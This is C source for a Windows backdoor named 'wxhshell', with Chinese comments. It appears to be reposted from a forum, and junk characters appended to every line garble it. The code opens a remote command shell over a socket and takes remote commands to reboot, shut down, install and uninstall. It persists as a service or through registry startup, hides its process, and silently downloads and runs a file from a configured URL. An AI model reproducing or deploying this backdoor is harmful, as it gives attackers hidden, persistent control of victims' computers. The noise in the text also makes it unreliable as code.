  t]vv&vk>  
  // 帮助 o*d(;  
  case '?': { +7lr#AvU/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N|"q6M !ZL  
    break; |FaK =e  
  } E.N>,N  
  // 安装 s)3CosU  
  case 'i': { o ,_F;ZhE  
    if(Install()) WFFd3TN%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pcOKC0b.  
    else ZF#lh]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e{4e<hd  
    break; d6m&nj  
    } ??#EG{{  
  // 卸载 ;*nzb!u\\  
  case 'r': { DH$Nz  
    if(Uninstall()) K'Wv$[~Dc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3Ww@&bU  
    else .!2 u#A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tqB6:p-%  
    break; /IX555/dR1  
    } (?7}\B\  
  // 显示 wxhshell 所在路径 *>EV4Hl  
  case 'p': {  L`Ys`7  
    char svExeFile[MAX_PATH];  Hi\z-P-  
    strcpy(svExeFile,"\n\r"); c":2<:D&  
      strcat(svExeFile,ExeFile); #U3q +d+^  
        send(wsh,svExeFile,strlen(svExeFile),0);  RZqMpW  
    break; Xa"I  
    } C[ KMaB  
  // 重启 &0ymAf5R  
  case 'b': { ~EQ# %db  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y'oH>l+n  
    if(Boot(REBOOT)) \ ux {J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tK+JmbB\  
    else { ?hp,h3s;n$  
    closesocket(wsh); M0vX9;J  
    ExitThread(0); j g EYlZ  
    } 8/P!i2o  
    break; X g7xy>{]  
    } <?;KF2A({  
  // 关机 +>Y]1IlI  
  case 'd': { e!w{ap8u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tk 5 p@l  
    if(Boot(SHUTDOWN)) .k up[d(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)GU{  
    else { 5YI6$ZdQ  
    closesocket(wsh); L"T :#>  
    ExitThread(0); &(o&Y  
    } #'i,'h+F  
    break; |hDN$By  
    } 0x&L'&SpN  
  // 获取shell ]gA2.,)}D  
  case 's': { #c/K.?  
    CmdShell(wsh); lF7".  
    closesocket(wsh); NUh%\{  
    ExitThread(0); NP!LBB)=Y  
    break; bVZA f  
  } Crla~h?=  
  // 退出 VS~+W=5}  
  case 'x': { ~Kt+j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 66MUrNW  
    CloseIt(wsh); PCH$)F4^  
    break; NSzTl-eS  
    } ]R09-s 0$7  
  // 离开 3:OqD~,zy  
  case 'q': { ka`}lR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GJ?J6@|  
    closesocket(wsh); ~e]l  
    WSACleanup(); (2 hI  
    exit(1); N /;Vg ^Wx  
    break; OSJj^Y)W|  
        } AOqL&z  
  } fCO<-L9k$  
  } 5@W63!N  
h]Gvt 5  
  // 提示信息 egWfKL&iy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kb/qM}jS  
} $(yi+v  
  } rNke&z:%X_  
|@'K]$vZ*  
  return; \m<$qp,n  
} 1:|o7`  
Iy4 RE P|  
// shell模块句柄 (Dba!zSs  
int CmdShell(SOCKET sock) *u[@C  
{ /Ea&Zm  
STARTUPINFO si; (2RuQgO  
ZeroMemory(&si,sizeof(si)); B\ZCJaMb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NXS$w{^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B" ]a8}u  
PROCESS_INFORMATION ProcessInfo; P+e{,~o  
char cmdline[]="cmd"; p7.~k1h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pQ ul0]  
  return 0; 'OU3-K  
} :$XlYJrjK  
-<u_fv  
// 自身启动模式 gEgd/Le  
int StartFromService(void) #,"[sag  
{ u0ZMrIJ  
typedef struct U4iVI#f  
{ *m'&<pg]X  
  DWORD ExitStatus; ?|Wxqo  
  DWORD PebBaseAddress; 95/;II  
  DWORD AffinityMask; SK@lr  
  DWORD BasePriority; +R 8dy  
  ULONG UniqueProcessId; IFtaoK  
  ULONG InheritedFromUniqueProcessId; d]?fL&jr  
}   PROCESS_BASIC_INFORMATION; M~9IL\J^G  
VAdUd {  
PROCNTQSIP NtQueryInformationProcess; g/i.b&  
{3Dm/u%=9|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ')WS :\J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2UBAk')O}  
T-js*  
  HANDLE             hProcess; sr<\fW  
  PROCESS_BASIC_INFORMATION pbi; PFbkkQKsT  
++|e z{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); btDTC 9O  
  if(NULL == hInst ) return 0; 9S5C{~P4  
O4^' H}*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b: I0Zv6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tCj\U+;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |uJjO>8]|  
@,]$FBT"5  
  if (!NtQueryInformationProcess) return 0; !Okl3 !fC  
&5%~Qw..  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T IyHM1+  
  if(!hProcess) return 0; 8K\S]SZ  
ogdgLTi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; - C8VDjf9  
Pf3F)y[=  
  CloseHandle(hProcess); {J;(K~>?m  
8&7zV:=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AbX#wpp!  
if(hProcess==NULL) return 0;  "'Q~&B;@  
+4[Je$qYa  
HMODULE hMod; DeQ ZDY //  
char procName[255]; J[\8:qE  
unsigned long cbNeeded; E8aD[j[w  
~x+&cA-0A2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &i *e&{L7  
B\~(:(OPM]  
  CloseHandle(hProcess); QC1\Sn/  
2FN#63  
if(strstr(procName,"services")) return 1; // 以服务启动 ]];LA!n  
IKp/xj[!  
  return 0; // 注册表启动 mU>lm7'  
}  ]C-a[  
]1q`N7  
// 主模块 #V@vz#bo=  
int StartWxhshell(LPSTR lpCmdLine) fDChq[LAn  
{ :M@#.  
  SOCKET wsl; X09i+/ICK  
BOOL val=TRUE; <4"Bb_U  
  int port=0; LiEDTXRz  
  struct sockaddr_in door; W;F=7[h  
CI|#,^  
  if(wscfg.ws_autoins) Install(); @3?dI@i(  
=vb'T  
port=atoi(lpCmdLine); "OrF81  
?Elt;wL(  
if(port<=0) port=wscfg.ws_port; yM?jiy  
'pT8S  
  WSADATA data; c:-n0m'i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V~QOl=`K:  
L,sXJ23.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 _#CvQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z'Ut9u  
  door.sin_family = AF_INET; uA\KbA.c;U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I%mGb$ Q  
  door.sin_port = htons(port); 4CxU eq  
jf=90eJc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #\6k_toZ  
closesocket(wsl); 8y]{I^z}  
return 1; Lv-M.  
} ~W_ T3@  
M"ZeK4qh  
  if(listen(wsl,2) == INVALID_SOCKET) { F^!_!V B  
closesocket(wsl); 2bOFH6g  
return 1; J>+~//C  
} zHXb[$ Q  
  Wxhshell(wsl); pH396GFIW  
  WSACleanup(); A/~^4DR  
oK2jPP  
return 0; J+qcA}  
9lqD~H.  
} ]q|U0(q9  
Htce<H-P  
// 以NT服务方式启动 lh;;%@1DM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n7bML?f'  
{ t#nRa Pzp  
DWORD   status = 0; Ol X otp8  
  DWORD   specificError = 0xfffffff; wkD"EuW(  
I:] Pd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hhJs$c(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BHS8MV L@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @KU^B_{i  
  serviceStatus.dwWin32ExitCode     = 0; (_Rl f$D  
  serviceStatus.dwServiceSpecificExitCode = 0; ;@<e]Ft  
  serviceStatus.dwCheckPoint       = 0; mHc5NkvQC  
  serviceStatus.dwWaitHint       = 0; gV-A+;u  
Yi|Nd;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ne}x(uRn  
  if (hServiceStatusHandle==0) return; h?vt6t9  
bO }9/Ay  
status = GetLastError(); rG'W#!^*  
  if (status!=NO_ERROR) #mRT>]di`D  
{  *,e `.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eY(JU5{  
    serviceStatus.dwCheckPoint       = 0; v@qVT'qlU  
    serviceStatus.dwWaitHint       = 0; K^c%$n:}+  
    serviceStatus.dwWin32ExitCode     = status; x#'v}(v  
    serviceStatus.dwServiceSpecificExitCode = specificError; G@,XUP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =u.hHkx  
    return; Wtp;se@#  
  } W<Asr@  
E7@m& R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B\quXE)  
  serviceStatus.dwCheckPoint       = 0; ^x}k1F3  
  serviceStatus.dwWaitHint       = 0; B?;P:!/1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jy-V\.N>s  
} 8LGNV&Edg  
OJ<V<=MYZ  
// 处理NT服务事件,比如:启动、停止 l'Uj"9r,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\n?IGP?wd  
{ uiaZ@  
switch(fdwControl) P:m6:F@hO  
{ p9~$}!ua  
case SERVICE_CONTROL_STOP: dU|&- .rG  
  serviceStatus.dwWin32ExitCode = 0; #9q ]jjH E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]U.*KkQ  
  serviceStatus.dwCheckPoint   = 0; 1m<8M[6u  
  serviceStatus.dwWaitHint     = 0; J QA]O/|N  
  { 2h`Tn{&1/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); --F6n/>  
  } {A{sRT=%  
  return; N"zm  
case SERVICE_CONTROL_PAUSE: \mNN ) K@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &>vfm9  
  break; Z \;{e'#o  
case SERVICE_CONTROL_CONTINUE: \T^ptj(0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z<[:v2  
  break; f SMy?8  
case SERVICE_CONTROL_INTERROGATE: 7~nuFJaTI  
  break; 0W]vK$\F*  
}; /(DnMHn\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Vu)  
} rWip[>^  
B[;aNyd<  
// 标准应用程序主函数 6rN.)dL.#N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !5>PZ{J  
{ %G'P!xQhy  
?l^NKbw  
// 获取操作系统版本 8]xYE19=  
OsIsNt=GetOsVer(); S.*LsrSV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _''9-t;n,  
nYy+5u]FG  
  // 从命令行安装 8l >Xbz  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0uJ??4N9  
:} DTK  
  // 下载执行文件 4 Xe8j55  
if(wscfg.ws_downexe) { Up\ k67  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +*x9$LSD  
  WinExec(wscfg.ws_filenam,SW_HIDE); m[Cp G=32B  
} X> U _v  
0G(|`xG1q  
if(!OsIsNt) { *fQn!2}=(  
// 如果时win9x,隐藏进程并且设置为注册表启动 +RyV"&v  
HideProc(); a[NR%Xq  
StartWxhshell(lpCmdLine);  OF O,5  
} mD;ioaE  
else !u|s8tN.U  
  if(StartFromService()) P$6 Pe>3  
  // 以服务方式启动 :d wP  
  StartServiceCtrlDispatcher(DispatchTable); 4z,/0  
else Fq'Ds[wd5  
  // 普通方式启动 {Hzj(c~S?  
  StartWxhshell(lpCmdLine); YGOhUT |  
%(:{TR  
return 0; o8N,mGj}  
}
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只看该作者 1 发表于: 2006-10-10
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